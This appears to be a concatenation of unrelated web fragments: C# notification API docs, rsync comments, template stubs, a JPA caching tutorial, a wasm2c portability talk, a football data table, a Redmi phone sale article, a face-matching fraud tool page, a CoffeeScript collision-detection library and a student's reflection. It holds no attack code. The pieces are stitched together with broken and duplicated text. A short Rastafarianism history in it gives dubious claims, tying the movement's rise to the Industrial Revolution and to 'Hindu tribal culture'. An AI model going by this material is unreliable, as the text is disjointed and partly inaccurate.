System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<Notification>
Notification |
PutEmailNotificationSettingsAsync(EmailNotificationsSettings, CancellationToken)
Update email notification settings
Declaration
public virtual async Task<EmailNotificationsSettings> PutEmailNotificationSettingsAsync(EmailNotificationsSettings configuration, CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
EmailNotificationsSettings
configuration
Email notification settings |
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<EmailNotificationsSettings>
Email notification settings |
ReadObjectResponseAsync<T>(Http.HttpResponseMessage, IReadOnlyDictionary<String, IEnumerable<String>>, CancellationToken)
Declaration
protected virtual async Task<NotificationClient.ObjectResponseResult<T>> ReadObjectResponseAsync<T>(Http.HttpResponseMessage response, IReadOnlyDictionary<string, IEnumerable<string>> headers, CancellationToken cancellationToken)
Parameters
|
System.Net.Http.HttpResponseMessage
response
|
|
System.Collections.Generic.IReadOnlyDictionary<System.String, System.Collections.Generic.IEnumerable<System.String>>
headers
|
|
System.Threading.CancellationToken
cancellationToken
|
Returns
|
System.Threading.Tasks.Task<NotificationClient.ObjectResponseResult<T>>
|
Type Parameters
|
T
|
SearchAsync(NotificationSearchRequest, CancellationToken)
Search notifications
Declaration
public virtual async Task<NotificationCompactResult> SearchAsync(NotificationSearchRequest request, CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
NotificationSearchRequest
request
Notification search request |
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<NotificationCompactResult>
Notification search result |


| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | l |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |
| Initials : | |
| First Name : | |
| Last Name: | |
| SC | |
| PC | |


Nice writeup. I am also relatively new to rsync, which I use to archive (backup) datasets. I use -avhz
–delete (to compress across internet transfers, otherwise drop z for internal mounts).
Have you considered the -a (–archive) to replace many of your options?
I must admit, I hadn’t heard of the --archive option, which it seems is
equivalent to rsync -rlptgoD (no -H,-A,-X).
I guess could use it to replace a lot of my options, although it introduces -D
(preserve device files) – which is no biggie. I would also have to set -H
manually.
Nice writeup. I am also relatively new to rsync, which I use to archive (backup) datasets. I use -avhz –delete (to compress across internet transfers, otherwise drop z for internal mounts).
Have you considered the -a (–archive) to replace many of your options?
Hi,
Thanks for taking the time to share that!
I must admit, I hadn’t heard of the
--archive
option, which it seems is equivalent torsync -rlptgoD (no -H,-A,-X)
.I guess could use it to replace a lot of my options, although it introduces
-D
(preserve device files) – which is no biggie. I would also have to set-H
manually.For anyone else reading this, this contains quite a good summary: http://www.evbackup.com/support-commonly-used-rsync-arguments/


{{ partial "head.html" . }}
{{ partial "header.html" . }}
{{ partial "about.html" . }} {{ partial "experience.html" . }} {{ partial "projects.html" . }} {{ partial "activities.html" . }} {{ partial "github.html" . }}
{{ partial "info.html" . }} {{partial "skills.html" . }} {{partial "education.html" . }} {{partial "honors.html" . }}
{{ partial "footer.html" . }} {{ partial "js.html" . }}


Meal Wheel: Your Weekly Dinner Planner!
This is to show what the h2 thing does compared to h1.
Currently a placeholder to see what paragraph text looks like.
== $0
- This is to show
- That we can make specifically ordered lists
- For our stuff using "ol" instead of "ul".
Ending of the test list.
Initial Logo
Send email to the website creator!


If there's one thing you have to understand to successfully use JPA (Java Persistence API) it's the concept of a Cache. Almost everything boils down to the Cache at one point or another. Unfortunately the Cache is an internal thing and not exposed via the JPA API classes, so it not easy to touch or feel from a coding perspective.
Here's a quick cheat sheet of the JPA world:
Comparing RESOURCE_LOCAL
and JTA
persistence contexts
With <persistence-unit transaction-type="RESOURCE_LOCAL"> you are responsible for EntityManager (PersistenceContext/Cache) creating and tracking...
With <persistence-unit transaction-type="JTA"> the container will do EntityManager (PersistenceContext/Cache) creating and tracking...
The concept of a database cache is an extremely important concept to be aware of. Without a copy of the data in memory (i.e. a cache) when you call account.getBalance() the persistence provider would have to go read the value from the database. Calling account.getBalance() several times would cause several trips to the database. This would obviously be a big waste of resources. The other side of having a cache is that when you call account.setBalance(5000) it also doesn't hit the database (usually). When the cache is "flushed" the data in it is sent to the database via as many SQL updates, inserts and deletes as are required. That is the basics of java persistence of any kind all wrapped in a nutshell. If you can understand that, you're good to go in nearly any persistence technology java has to offer.
Complications can arise when there is more than one PersistenceContext/Cache relating the same data in the same transaction. In any given transaction you want exactly one PersistenceContext/Cache for a given set of data. Using a JTA unit with an EntityManager created by the container will always guarantee that this is the case. With a RESOURCE_LOCAL unit and an EntityManagerFactory you should create and use exactly one EntityManager instance in your transaction to ensure there is only one active PersistenceContext/Cache for the given set of data active against the current transaction.
Detaching is the concept of a persistent object leaving the PersistenceContext/Cache. Leaving means that any updates made to the object are not reflected in the PersistenceContext/Cache. An object will become Detached if it somehow lives longer or is used outside the scope of the PersistenceContext/Cache.
For a JTA unit, the PersistenceContext/Cache will live as long as the transaction does. When a transaction completes (commits or rollsback) all objects that were in the PersistenceContext/Cache are Detached. You can still use them, but they are no longer associated with a PersistenceContext/Cache and modifications on them will not be reflected in a PersistenceContext/Cache and therefore not the database either.
Serializing objects that are currently in a PersistenceContext/Cache will also cause them to Detach.
In some cases objects or collections of objects that become Detached may not have all the data you need. This can be because of lazy loading. With lazy loading, data isn't pulled from the database and into the PersistenceContext/Cache until it is requested in code. In many cases the Collections of persistent objects returned from an javax.persistence.Query.getResultList() call are completely empty until you iterate over them. A side effect of this is that if the Collection becomes Detached before it's been fully read it will be permanently empty and of no use and calling methods on the Detached Collection can cause strange errors and exceptions to be thrown. If you wish to Detach a Collection of persistent objects it is always a good idea to iterate over the Collection at least once.
You cannot call EntityManager.persist() or EntityManager.remove() on a Detached object.
Calling EntityManager.merge() will re-attach a Detached object.
Servlets and EJBs can use RESOURCE_LOCAL persistence units through the EntityManagerFactory as follows:
<?xml version="1.0" encoding="UTF-8" ?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence" version="1.0">
<!-- Tutorial "unit" -->
<persistence-unit name="Tutorial" transaction-type="RESOURCE_LOCAL">
<non-jta-data-source>myNonJtaDataSource</non-jta-data-source>
<class>org.superbiz.jpa.Account</class>
</persistence-unit>
</persistence>
And referenced as follows
import javax.persistence.EntityManagerFactory;
import javax.persistence.EntityManager;
import javax.persistence.EntityTransaction;
import javax.persistence.PersistenceUnit;
public class MyEjbOrServlet ... {
@PersistenceUnit(unitName="Tutorial")
private EntityManagerFactory factory;
// Proper exception handling left out for simplicity
public void ejbMethodOrServletServiceMethod() throws Exception {
EntityManager entityManager = factory.createEntityManager();
EntityTransaction entityTransaction = entityManager.getTransaction();
entityTransaction.begin();
Account account = entityManager.find(Account.class, 12345);
account.setBalance(5000);
entityTransaction.commit();
}
...
}
EJBs can use JTA persistence units through the EntityManager as follows:
<?xml version="1.0" encoding="UTF-8" ?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence" version="1.0">
<!-- Tutorial "unit" -->
<persistence-unit name="Tutorial" transaction-type="JTA">
<jta-data-source>myJtaDataSource</jta-data-source>
<non-jta-data-source>myNonJtaDataSource</non-jta-data-source>
<class>org.superbiz.jpa.Account</class>
</persistence-unit>
</persistence>
And referenced as follows
import javax.ejb.Stateless;
import javax.ejb.TransactionAttribute;
import javax.ejb.TransactionAttributeType;
import javax.persistence.EntityManager;
import javax.persistence.PersistenceContext;
@Stateless
public class MyEjb implements MyEjbInterface {
@PersistenceContext(unitName = "Tutorial")
private EntityManager entityManager;
// Proper exception handling left out for simplicity
@TransactionAttribute(TransactionAttributeType.REQUIRED)
public void ejbMethod() throws Exception {
Account account = entityManager.find(Account.class, 12345);
account.setBalance(5000);
}
}


June 2020
The normal process of distributing binaries:
source |
↗ → ↘ |
Linux build Mac build Windows build |
→ → → |
Linux users Mac users Windows users |
wasm-opt
(part of binaryen)
shrinks
WebAssembly (wasm) files by around 20%.
Linux, Mac, and Windows x86_64 builds are used by toolchains like Emscripten (C++) and wasm-pack (Rust).
But some can't use them (e.g. ARM, BSD, special Linux), build infra takes work, sometimes tests only fail there, etc. :(
A "Universal Binary" is the dream of a single executable that runs everywhere and at 100% speed.
source |
→ |
single build |
↗ → ↘ |
Linux users Mac users Windows users |
Not necessarily a literal binary! We want a "Universal Build", really — the details don't matter if it's fast and portable!
We can distinguish two types:
CPU portability concerns pure computation, lets you run your code no matter the CPU.
OS portability concerns APIs, and lets you print, access files, etc. no matter the operating system.
The Web has one of the best portability stories.
CPU or OS-specific bugs are very rare!
(browser-specific bugs are much more common...)
Anything non-portable is simply disallowed, and plugins are mostly a thing of the past.
Off the Web: Java, .NET, Python, Node.js, and other virtual machines (VMs) provide full CPU portability.
Some operations are OS-specific. Less portable, but more power, which sometimes you want when running your own code on your own server.
If we have C, C++, Rust, or Go — the family of languages that compile to executable code — can we use a VM?
All those can compile to WebAssembly which solves CPU portability! Now, which VMs support it?
Off the web there are various options:
Node.js APIs provide a useful set of OS operations on files (read, write) and processes (spawn, fork), etc.
// No special sandboxing model; like Python etc.
// we get a reasonably-portable set of OS operations.
const fs = require("fs");
const data = fs.readFileSync("data.dat");
// Can provide imports to wasm that use these indirectly
// (just like on the Web).
The WebAssembly System Interface, meant for non-Web environments.
WASI is not just a bunch of familiar APIs brought to wasm! It is a new approach to writing an OS interface layer, a replacement for something like POSIX.
In particular WASI uses capability-based security and has stricter portability.
WASI is supported on Node.js too, not just wasm VMs.
In the long term WASI will likely be the best option for many things, but it is still early.
The strict security & portability will limit what can be done, which as always is a tradeoff.
After that background, let's get back to our concrete example:
wasm-opt |
→ |
|
↗ → ↘ |
OSes, CPUs |
wasm-opt needs only basic file operations, which WASI supports.
But wasm-opt needs C++ exceptions or setjmp (for an internal wasm interpreter that helps optimize) which WASI does not support yet (wasm exception handling will fix that eventually).
Emscripten supports setjmp and C++ exceptions when building to wasm + JS, by calling out to JS:
↑ throw [js] ↑ bar() [wasm] ↑ try-catch [js] ↑ foo() [wasm] ↑ main() [wasm]
Works anywhere with wasm + JS, including on the Web and on Node.js!
Very easy to compile wasm-opt with emcc:
$ emcmake cmake .
$ make -j8 wasm-opt
Defaults are mostly ok, except Emscripten's normal output is sandboxed. To get direct local file access in Node.js, use -s NODERAWFS,
$ emcmake cmake . "-DCMAKE_EXE_LINKER_FLAGS=-s NODERAWFS"
That's it!
# runs almost like a normal executable
$ node wasm-opt.js input.wasm -O -o output.wasm
# output is as expected (note the size improvement)
$ ls -lh input.wasm output.wasm
-rw-r--r-- 23K input.wasm
-rw-r--r-- 18K output.wasm
Great: Full CPU and OS portability!
28% slower — not bad for a portable build.
Not great: Compilation causes a startup delay of about 1 second, even for wasm-opt --help :(
The real solution for startup is wasm code caching, which works on the Web, but not yet on Node.js.
Node.js 12 had an API for code caching (in Emscripten we added -s NODE_CODE_CACHING) but it is gone in Node.js 14+.
Maybe we should wait until things improve?
Compiles wasm to C, part of wabt, written by binji
| → |
Full workflow:
original source → wasm → C → executable
Very easy to do!
# tell emscripten to use wasm2c
$ emcmake cmake . "-DCMAKE_EXE_LINKER_FLAGS=-s WASM2C"
$ make -j8
# build the C output
$ clang wasm-opt.wasm.c -O2 -lm -o wasm-opt
# runs like a normal executable!
$ ./wasm-opt input.wasm -O -o output.wasm
# same output as before
$ ls -lh input.wasm output.wasm
-rw-r--r-- 23K input.wasm
-rw-r--r-- 18K output.wasm
Wait, isn't all this a little silly?
We started with C++, compiled
to wasm, then to C, which we still need to compile..?!
We've simplified what happens on the user's machine to the simplest possible compilation:
| Dev machine: | User machine: |
Startup is instantaneous, exactly like a normal executable!
Throughput is just 13% slower (half the overhead of the wasm from earlier) thanks to clang/gcc/etc.!
Just 14% overhead on average!
wasm2c is 30% faster on lua-binarytrees, 20% on havlak! How can that be?
Wasm is a 32-bit architecture (so far). So on a 64-bit host, it's an easy way to get x32-like benefits: save memory with half-sized pointers!
100% as portable as wasm in a VM
(the C is portable C)
100% as sandboxed as wasm in a VM
(traps on out of bounds loads, etc.)
(for comparison, wasm2js has slightly different behavior than wasm on corner cases too slow for JS)
wasm2c itself is agnostic to APIs: wasm imports become calls to C functions you must provide.
wasm2c can be used with any wasm toolchain, if you make a C runtime with your imports.
In the Emscripten runtime for wasm2c we have impls of various WASI APIs and also e.g. setjmp — which is how we could run wasm-opt and all those benchmarks!
The C code builds on clang and gcc on all platforms, but need help with MSVC etc. (we use e.g. __builtin_ctlz atm).
Single C file isn't fast to compile with -O2.
Emscripten wasm2c runtime supports almost everything, but still missing e.g. C++ exceptions.
All of this is open source of course - help is welcome!
| source | → | → |
|
↗ → ↘ |
OSes, CPUs |
A "Universal C Build" works surprisingly well:
In the long term Node.js, wasm VMs, and WASI will fix the issues we saw, and VMs will generally be the best option!
Yet even then a VM-less approach may be simpler for some things (but no more time in this talk...)
| source | → | → |
|
↗ → ↘ |
OSes, CPUs |
Questions?


[#include "/theme/default/common/nav.html" /] [#include "/theme/default/common/head.html" /] [#include "/theme/default/common/footer.html" /]
Toggle nav


The following table includes data used for our 4 visualisations during this project.
| Club | Nationality | Count | |
|---|---|---|---|
| 0 | Chelsea FC | Belgium | 2 |
| 1 | Chelsea FC | Brazil | 1 |
| 2 | Chelsea FC | Croatia | 1 |
| 3 | Chelsea FC | Denmark | 1 |
| 4 | Chelsea FC | England | 9 |
| 5 | Chelsea FC | France | 3 |
| 6 | Chelsea FC | Germany | 3 |
| 7 | Chelsea FC | Italy | 2 |
| 8 | Chelsea FC | Morocco | 1 |
| 9 | Chelsea FC | Senegal | 1 |
| 10 | Chelsea FC | Spain | 3 |
| 11 | Chelsea FC | United States | 1 |
| 12 | Chelsea FC | Wales | 1 |
| 13 | Manchester City | Algeria | 1 |
| 14 | Manchester City | Belgium | 1 |
| 15 | Manchester City | Brazil | 3 |
| 16 | Manchester City | England | 5 |
| 17 | Manchester City | France | 1 |
| 18 | Manchester City | Germany | 1 |
| 19 | Manchester City | Netherlands | 2 |
| 20 | Manchester City | Portugal | 3 |
| 21 | Manchester City | Spain | 3 |
| 22 | Manchester City | Ukraine | 1 |
| 23 | Manchester City | United States | 1 |
| 24 | Paris Saint-Germain | Argentina | 3 |
| 25 | Paris Saint-Germain | Brazil | 3 |
| 26 | Paris Saint-Germain | Costa Rica | 1 |
| 27 | Paris Saint-Germain | France | 11 |
| 28 | Paris Saint-Germain | Germany | 2 |
| 29 | Paris Saint-Germain | Haiti | 1 |
| 30 | Paris Saint-Germain | Italy | 2 |
| 31 | Paris Saint-Germain | Netherlands | 1 |
| 32 | Paris Saint-Germain | Poland | 1 |
| 33 | Paris Saint-Germain | Portugal | 1 |
| 34 | Paris Saint-Germain | Senegal | 2 |
| 35 | Paris Saint-Germain | Spain | 4 |
| 36 | Real Madrid | Belgium | 2 |
| 37 | Real Madrid | Brazil | 5 |
| 38 | Real Madrid | Croatia | 1 |
| 39 | Real Madrid | Dominican Republic | 1 |
| 40 | Real Madrid | France | 3 |
| 41 | Real Madrid | Germany | 1 |
| 42 | Real Madrid | Norway | 1 |
| 43 | Real Madrid | Serbia | 1 |
| 44 | Real Madrid | Spain | 6 |
| 45 | Real Madrid | Ukraine | 1 |
| 46 | Real Madrid | Uruguay | 1 |


At the beginning of the Industrial Revolution Rastafarianism began gaining popularity among the Black Jamaican population. Rastafarianism draws its belief from three main sources; the Old Testament, African tribal culture, and Hindu tribal culture.
Before it got the name ‘Rastafarianism’ its followers called themselves ‘dreads’, signifying their ‘dread’ and respect for God. In an attempt to emulate the Nazarites and Hindu holymen their beliefs were modeled after, they began to wear their hair in matted styles and this is when the term ‘dreadlocks’ came into common use.
Rastafarianism began to draw attention when in the 1930’s Ras Tafari was crowned the emperor of Ethiopia. He was forced into exile and many vowed not to cut their hair until he was released. The association of dreadlocks with marijuana smoking also began with the Rasta movement which contended that smoking it facilitated clear-thinking. It still holds true today that many dreadheads (caucasian more than Rastas) are pro-marijuana. However, there are other sects of Rastafarianism who believe any sort of mind-altering substance is impure and also restrict the consumption red meat and alcohol. These same purists suggest that Bob Marley and his extreme pro-marijuana stance damaged the reputation of Rastafarianism.


Redmi Note 8 Pro sale begins today at 12 pm: Check price, offers and specifications
Here's everything you need to know about Redmi Note 8 Pro's flash sale in India
by Moneycontrol NewsRedmi Note 8 Pro will go on sale in India on November 20. The latest Redmi Note series smartphone by Xiaomi has been available for purchase only through flash sale every week. The highlight features of Redmi Note 8 Pro include a 64MP quad-camera setup, a massive battery with 18W fast charging and a gaming-specific performance unit.
Redmi Note 8 Pro price and offers
Xiaomi has launched the Redmi Note 8 Pro in three storage options. The 6GB+64GB storage model can be purchased for Rs 14,999, whereas the 6GB + 128GB model can be bought for Rs 15,999. There’s also a top-of-the-line 8GB+128GB storage variant which is priced at Rs 17,999.
Redmi Note 8 Pro will be available in Gamma Green, Shadow Black, and Halo White colours.
Redmi Note 8 Pro flash sale is scheduled to begin at 12 pm. The midrange smartphone can be bought via Mi India’s official website, Amazon India, and Mi Home Stores. Offers include 10 percent instant discount for Axis Bank credit and debit card users, Airtel double data benefits on recharges of Rs 249 and Rs 349, and no-cost EMI plans.
Redmi Note 8 Pro specifications
Redmi Note 8 Pro’s highlight specifications include a gaming-dedicated MediaTek G90T SoC, designed to excel in performance. The processor is paired with up to 8GB RAM and 128GB internal memory. There is a massive 4,500mAh battery that supports 18W fast-charging.
Another USP of the Redmi Note 8 Pro is its camera setup. On the back, there’s a quad-camera setup with a 64MP primary sensor. The other three sensors include an 8MP ultra-wide lens and two 2MP sensors.
For selfies, there is a 20MP front-facing camera housed inside the water-drop notch.
Other specifications include a 6.53-inch Full HD+ (1,080x2,340 pixels) LCD panel. The display features a 19.5:9 aspect ratio and supports HDR. The device features an 84.9-percent screen-to-body ratio.
Connectivity options include 4G LTE, Bluetooth 5.0, Wi-Fi 802.11ac, GPS, 3.5mm headphone jack, IR blaster and USB Type-C port.


{% extends "layout.html" %} {% block body %}
This tool can be used to manage a database of fraudsters' IDs, and to facially compare new customers suspected of fraud, known fraudsters in the database.
Previously, the RAFT team were looking to identify impersonators by visually the image in a new ID, with those on older ones. This tool uses machine learning algorithms to do the same thing, but more quickly and objectively.
It has the following functionality:
1. New ID documents can be compared facially with all the faces already in the database. For this functionality, go to the main page, upload the image, and view the results
a) Similarity Scores vary between 0 and 10 - higher numbers reflect more similar faces.
b) The results are returned in order most to least similar faces.
2. If the new image does not match any already in the database, it can be added to the database.
3. Images added by accident can be removed from the database.


Hi, I am Milap Anwani.
Skills
Front-End Web Developer
Flutter Developer
Competitive Programmer
Cloud Practitioner
Now you might be thinking...
What a
Well, I do a lot of other things too!
Interests and Hobbies
Travel (like a lot, lot!)

Let me Know!
© 2020 Designed by Milap Anwani


This library is a collection of common 2D collision detection tests. Hopefully this saves you from the pain of hunting them down yourself, or trying to rip them out of physics libraries.
If you're looking for further reading, you are hurting yourself if you don't buy Real-Time Collision Detection. It is easily the best purchase you could make if you are learning about collision detection. There is also an excellent list of different algorithms here.
The code is written in CoffeeScript, but it's simple and should be easily portable to your language of choice. If you just want to see the code, take a look at the compiled JS file. It's stripped of comments and fairly readable.
Let's define a couple helpers that we'll use through the code.
root = exports ? (this.intersect ?= {})
root.epsilon = epsilon = 1e-8
root.abs = abs = (value) ->
if value < 0 then -value else value
root.clamp = clamp = (value, min, max) ->
if value < min
min
else if value > max
max
else
value
root.sign = sign = (value) ->
if value < 0 then -1 else 1
We'll also need a 2D point. We could just use a literal {x: 0, y: 0}
object,
but you have to normalize and copy things quite a bit when doing collision
detection, so it makes things a bit more readable to formalize it as a class.
root.Point = class Point
constructor: (x=0, y=0) ->
this.x = x
this.y = y
clone: ->
return new Point(this.x, this.y)
normalize: ->
length = this.x * this.x + this.y * this.y
if length > 0
length = Math.sqrt(length)
inverseLength = 1.0 / length
this.x *= inverseLength
this.y *= inverseLength
return length
Collision and physics libraries generally assign things to two categories: static objects at rest, and dynamic moving objects. Full physics libraries often solve things in more complicated (and more efficient) ways, and optimize for cases of many objects moving at once and colliding against one another.
But, for most simple 2D games, it's usually enough to do a collision test between the object you're moving now (while moving it in the code), and the rest of the world. The world for this type of game rarely contains so many objects that this hurts your performance, and it makes the problem far easier to solve. It also makes it easier to fine tune the physics system, which is often very important for platformers.
As such, the functions in this code are all written for static vs static or moving vs static object tests, to keep things simple.
Intersection tests are a static vs static test. They check whether two static objects are overlapping. They have a boolean result (colliding or not), with a vector which tells you how you could move the objects so that they're no longer overlapping.
Intersection tests will return a Hit object when a collision occurs:
root.Hit = class Hit
constructor: (collider) ->
this.collider = collider
this.pos = new Point()
this.delta = new Point()
this.normal = new Point()
t
value for the line equation L(t) = A + t * (B - A)
)Sweep tests are a moving vs static test. They take two objects, sweep one along a line of movement, and determine when it first collides with the other object along that path of movement.
Sweep tests return a Sweep
object:
root.Sweep = class Sweep
constructor: ->
this.hit = null
this.pos = new Point()
this.time = 1
sweep.hit.time
, or 1 if the object didn't hit
anything during the sweep.Axis-aligned bounding boxes (AABBs) are bounding rectangles that do not rotate. This means that their edges are always aligned with the main X and Y axes, which makes collision detection much simpler. These examples specify an AABB via a center point and box's half size for each axis (that is, the box's "radius" on each axis).
root.AABB = class AABB
constructor: (pos, half) ->
this.pos = pos
this.half = half
The library has four axis-aligned bounding box (AABB) tests: AABB vs point, AABB vs segment (raycast), AABB vs AABB, and AABB vs swept AABB.
This test is very simple, but I've included it for completeness. If a point is
behind all of the edges of the box, it's colliding. The function returns a Hit
object, or null if the two do not collide. hit.pos
and hit.delta
will be
set to the nearest edge of the box.
This code first finds the overlap on the X and Y axis. If the overlap is less than zero for either, a collision is not possible. Otherwise, we find the axis with the smallest overlap and use that to create an intersection point on the edge of the box.
intersectPoint: (point) ->
dx = point.x - this.pos.x
px = this.half.x - abs(dx)
return null if px <= 0
dy = point.y - this.pos.y
py = this.half.y - abs(dy)
return null if py <= 0
hit = new Hit(this)
if px < py
sx = sign(dx)
hit.delta.x = px * sx
hit.normal.x = sx
hit.pos.x = this.pos.x + (this.half.x * sx)
hit.pos.y = point.y
else
sy = sign(dy)
hit.delta.y = py * sy
hit.normal.y = sy
hit.pos.x = point.x
hit.pos.y = this.pos.y + (this.half.y * sy)
return hit
Games use segment intersection tests all the time, for everything from line of sight to checking whether a bullet hit a monster. This is the most complicated of the four AABB tests, and is commonly known as a [slab test]. It finds the time of the line's intersection with the near and far edges of each axis of the AABB. If they overlap, the segment is intersecting. For further reading, I recommend IRT p.65,104 and WilliamsEtAl05.
The function calculates the collision times along the line for each edge of
the box. It returns a Hit object (with an extra time
property), or null if
the two do not overlap. paddingX
and paddingY
will be added to the radius
of the bounding box, if specified.
intersectSegment: (pos, delta, paddingX=0, paddingY=0) ->
You might notice we haven't defined a segment argument. A segment from point
A
to point B
can be expressed with the equation S(t) = A + t * (B - A)
,
for 0 <= t <= 1
. In this equation, t
is the time along the line, or
percentage distance from A
to B
. Instead of formalizing the concept of a
segment, we use this equation and describe it it as a start pos
and a delta
vector to the end of the line.
Find the distance, along the line, from the start point to the nearest and furthest edges of the AABB, and convert it to a time along the line by scaling by the length of the line. Scaling is done here using multiplication instead of division to deal with floating point issues.
scaleX = 1.0 / delta.x
scaleY = 1.0 / delta.y
signX = sign(scaleX)
signY = sign(scaleY)
nearTimeX = (this.pos.x - signX * (this.half.x + paddingX) - pos.x) * scaleX
nearTimeY = (this.pos.y - signY * (this.half.y + paddingY) - pos.y) * scaleY
farTimeX = (this.pos.x + signX * (this.half.x + paddingX) - pos.x) * scaleX
farTimeY = (this.pos.y + signY * (this.half.y + paddingY) - pos.y) * scaleY
Now we have to compare these times to see if a collision is possible. If the closest time of collision on either axis is further than the far time, we can't be colliding. Otherwise, find the greater of the near times, and the lesser of the far times — we want the times that got closest to the slab.
Remember that in the line equation, a time of 0 is the start of the line, and a time of 1 is the end of the line. If a time of intersection is between 0 and 1, it occurs on the segment. If its less than 0, it occurs before the start of the segment. If it's greater than 1, it occurs after the end of the segment.
If the near time is greater than or equal to 1, the line starts in front of the nearest edge, but finishes before it reaches it. That is, it means it further than a whole segment length away. Similarly, if the far time is less than or equal to 0, the line starts in front of the far side of the box, and points away from the box.
if nearTimeX > farTimeY or nearTimeY > farTimeX
return null
nearTime = if nearTimeX > nearTimeY then nearTimeX else nearTimeY
farTime = if farTimeX < farTimeY then farTimeX else farTimeY
if nearTime >= 1 or farTime <= 0
return null
If we've gotten this far a collision of some sort is happening. If the near time is greater than zero, the segment starts outside and is entering the box. Otherwise, the segment starts inside the box, and is exiting it. If we're entering the box, we can set the hit time to the near time, since that's the point along the segment at which it collided. If it's inside, it's colliding at the very starting of the line, so just set the hit time to zero.
hit = new Hit(this)
hit.time = clamp(nearTime, 0, 1)
if nearTimeX > nearTimeY
hit.normal.x = -signX
hit.normal.y = 0
else
hit.normal.x = 0
hit.normal.y = -signY
hit.delta.x = hit.time * delta.x
hit.delta.y = hit.time * delta.y
hit.pos.x = pos.x + hit.delta.x
hit.pos.y = pos.y + hit.delta.y
return hit
This test uses a separating axis test, which checks for overlaps between the two boxes on each axis. If either axis is not overlapping, the boxes aren't colliding.
The function returns a Hit object, or null if the two static boxes do not
overlap, and gives the axis of least overlap as the contact point. That is, it
sets hit.delta
so that the colliding box will be pushed out of the nearest
edge. This can cause weird behavior for moving boxes, so you should use
sweepAABB
instead for moving boxes.
This code is very similar to the intersectPoint
function above.
intersectAABB: (box) ->
dx = box.pos.x - this.pos.x
px = (box.half.x + this.half.x) - abs(dx)
return null if px <= 0
dy = box.pos.y - this.pos.y
py = (box.half.y + this.half.y) - abs(dy)
return null if py <= 0
hit = new Hit(this)
if px < py
sx = sign(dx)
hit.delta.x = px * sx
hit.normal.x = sx
hit.pos.x = this.pos.x + (this.half.x * sx)
hit.pos.y = box.pos.y
else
sy = sign(dy)
hit.delta.y = py * sy
hit.normal.y = sy
hit.pos.x = box.pos.x
hit.pos.y = this.pos.y + (this.half.y * sy)
return hit
Swept volume tests are awesome — they tell you whether object A hits object B at any point along a movement path. This problem seems hard, until someone tells you the magic word: Minkowski. If you inflate the static box by the size of the moving box, you can just test the movement segment against the padded static box.
sweepAABB
finds the intersection of this box and another moving box, where
the delta
argument is a point describing the movement of the box. It returns
a Sweep object. sweep.hit
will be a Hit object if the two collided, or
null if they did not overlap.
sweepAABB: (box, delta) ->
sweep = new Sweep()
If the sweep isn't actually moving anywhere, just do a static test. It's faster and will give us a better result for that case.
if delta.x == 0 and delta.y == 0
sweep.pos.x = box.pos.x
sweep.pos.y = box.pos.y
sweep.hit = this.intersectAABB(box)
if sweep.hit?
sweep.time = sweep.hit.time = 0
else
sweep.time = 1
Otherwise, call into intersectSegment
instead, where the segment is the center
of the moving box, with the same delta. We pass the moving box's half size as
padding. If we get a hit, we need to adjust the hit pos. Since a segment vs box
test was used, the hit pos is the center of the box. This offsets it to the edge
of the box, along the segment of movement.
else
sweep.hit = this.intersectSegment(box.pos, delta, box.half.x, box.half.y)
if sweep.hit?
sweep.time = clamp(sweep.hit.time - epsilon, 0, 1)
sweep.pos.x = box.pos.x + delta.x * sweep.time
sweep.pos.y = box.pos.y + delta.y * sweep.time
direction = delta.clone()
direction.normalize()
sweep.hit.pos.x += direction.x * box.half.x
sweep.hit.pos.y += direction.y * box.half.y
else
sweep.pos.x = box.pos.x + delta.x
sweep.pos.y = box.pos.y + delta.y
sweep.time = 1
return sweep
So, let's say we have an AABB we want to move from one point to another, without
allowing it to collide with a list of static AABBs. To do this, we need to call
sweepAABB
on each static object, and keep track of the sweep that moved the
least distance — that is, the nearest collision to the start of the path.
sweepInto: (staticColliders, delta) ->
nearest = new Sweep()
nearest.time = 1
nearest.pos.x = this.pos.x + delta.x
nearest.pos.y = this.pos.y + delta.y
for collider in staticColliders
sweep = collider.sweepAABB(this, delta)
if sweep.time < nearest.time
nearest = sweep
return nearest
It's a common use case to have a single object that needs to move through a world, colliding with many other objects. Note that solving this problem efficiently requires two steps:
The first step is out of scope for this library, but these tests are great for solving the narrow phase. You can usually get away without a broad phase for simple games, however, if you aren't colliding against a huge number of objects.


My goal is to be a successful web developer. I have commited myself to complete my learning in EDA and then have a junior developer role in a good company. I wish to move my way up to be a senior web developer. I will be on the lookout also for any training available to get to do another avenue which is to be a programmer.
I wish to learn how to be confident in public speaking. The tought of having myself upfront of people is scary for me. I also wish to be able to give feedback in a good manner. I am a very straight forward person and sometimes I can come out misunderstood.
I feel that I am a very approachable person. I can communicate easily with anyone and is a team player. I am very committed once I focus on a task/job. That is also my downfall as I tend to over commit and stay longer even when not needed and have less family time. I am never a 9 to 5 type of guy you see. I will go home when I "feel" that I have done enough for the day.
I very much have commited myself to following a set routine. I have read up on the student-prep and it gave me a lot of ideas. I have started writing journals to set goals and reflect daily. I use time apps such as toggl and try to stick to time boxes or my own time goals. In this way I dont feel burnt out and I get to see my progress. Having frequent breaks away from the screen (pomodoro break) helps. Having that time away from screen shows that I can break down tasks and manage my time accordigly.
As mentioned above I follow goals daily. If I made mistakes or stuck, I will set myself a period amount of time to find the answers. The time will vary of course base on where I stand in terms of my progress in my current task. If by the set time expired and I can't find any solution via resources I have (google, own notes, cheat sheets), then I will seek the help of my facilitator or cohorts. Slack is good for this as there are different channels I can try and get asssitance from.
